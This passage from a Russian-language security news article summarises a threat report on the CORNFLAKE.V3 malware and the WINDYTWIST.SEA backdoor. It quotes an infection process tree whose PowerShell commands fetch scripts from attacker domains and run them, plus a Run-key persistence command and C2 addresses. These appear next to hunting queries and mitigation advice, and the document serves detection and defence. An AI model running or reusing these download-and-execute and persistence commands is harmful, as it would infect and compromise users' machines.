<code>%APPDATA%</code> </td> </tr> </tbody> </table> Пример развёртывания в PHP-сценарии завершился получением DLL-нагрузки — бэкдора <strong>WINDYTWIST.SEA</strong> (файл: <code>C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png</code>), запущенного через <code>rundll32</code>. Указаны C2-адреса: <code>tcp://167.235.235[.]151:443</code>, <code>tcp://128.140.120[.]188:443</code>, <code>tcp://177.136.225[.]135:443</code>. Имплант реализован на C, поддерживает реверс-шелл, ретрансляцию TCP и самоудаление; встречались попытки латерального перемещения.
Процессное дерево варианта на PHP:
<pre>explorer.exe ↳ powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))"↳ clip.exe↳ powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ"↳ systeminfo.exe↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}"↳ cmd.exe /s /c "powershell -c {команды разведки хоста}"↳ cmd.exe /s /c "reg add HKCU\...\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>\" \"<script_path>\"" /f"↳ rundll32.exe "{WINDYTWIST.SEA}" start </pre> <h3>Наблюдавшиеся тактики</h3>
- Разведка хоста и домена AD; попытки Kerberoasting;
- Закрепление через Run-ключи (Node.js: <em>ChromeUpdater</em>; PHP: случайное имя в %APPDATA%/%LOCALAPPDATA%);
- Проксирование C2-трафика через Cloudflare Tunnels (поддомен <em>trycloudflare</em>);
- Маскировка библиотек под изображения (<code>.png</code>/<code>.jpg</code>);
- Обход песочниц: проверки производителя, объёма/использования памяти, шаблонов имён.
<h4>Поисковые запросы (UDM) для охоты</h4> <strong>Запуск CORNFLAKE.V3 — Node.js</strong>
<pre><span class="extremist-highlight" title="Соцсеть признана экстремистской и запрещена на территории РФ">meta</span>data.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase </pre> <strong>Запуск CORNFLAKE.V3 — PHP</strong>
<pre>metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase target.process.command_line != /\.php\s*\s*/ nocase </pre> <strong>Дочерние процессы от node.exe/php.exe в %APPDATA%</strong>
<pre>metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase </pre> <strong>Подозрительные соединения к доменам Node.js/PHP</strong>
<pre>metadata.event_type = "NETWORK_CONNECTION" principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase target.hostname = /nodejs\.org|windows\.php\.net/ nocase </pre> <h3>Смягчение рисков и выводы</h3>
- Минимизация риска ClickFix: по возможности отключать окно Windows Run; отрабатывать сценарии социальной инженерии;
- Тонкое журналирование запусков PowerShell, создания ключей Run, обращений к <code>%APPDATA%</code>, скачиваний <code>nodejs.org</code>/<code>windows.php.net</code> из системных процессов;
- Сетевые политики: мониторинг трафика к «trycloudflare» и нетипичным IP/доменам, корреляция с процессами <code>powershell.exe</code>/<code>mshta.exe</code>;
- Отсечение Kerberoasting: ограничения на SPN-аккаунты, аудит прав, мониторинг аномального TGS-трафика;
- IOC-охота: перечисленные файлы/ключи/адреса — отправная точка для ретроспективного поиска.
Благодарности в оригинальном отчёте: Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis, Rommel Joven.
- Источник новости
- www.securitylab.ru